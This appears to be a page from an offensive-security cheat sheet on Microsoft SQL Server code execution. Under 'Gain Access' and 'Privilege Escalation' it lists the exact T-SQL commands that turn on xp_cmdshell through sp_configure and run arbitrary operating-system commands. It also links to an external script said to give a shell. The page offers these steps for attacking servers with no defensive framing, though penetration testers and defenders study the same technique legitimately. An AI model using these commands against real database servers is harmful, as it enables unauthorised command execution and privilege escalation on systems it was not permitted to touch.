.. / mssql-code_exec

Star

• Gain Access
• Privilege Escalation

Gain Access

It can either exploit a vulnerability or leverage credentials to gain access.

• Enable command execution in Microsoft SQL Server

  
  Enable command execution:
  EXEC sp_configure 'show advanced options',1;
  RECONFIGURE;
  exec SP_CONFIGURE 'xp_cmdshell',1;
  RECONFIGURE;
  EXEC xp_cmdshell [cmd]
  
  

Privilege Escalation

It can help to gain a higher permission access level.

• Enable command execution in Microsoft SQL Server

  
  # Same as gain access
  
  

Resources

https://gist.github.com/unkn0wnsyst3m/6bcfacc3699dbac67e2f080b00b7b77b   <-- this sript gives you a fake shell with command execution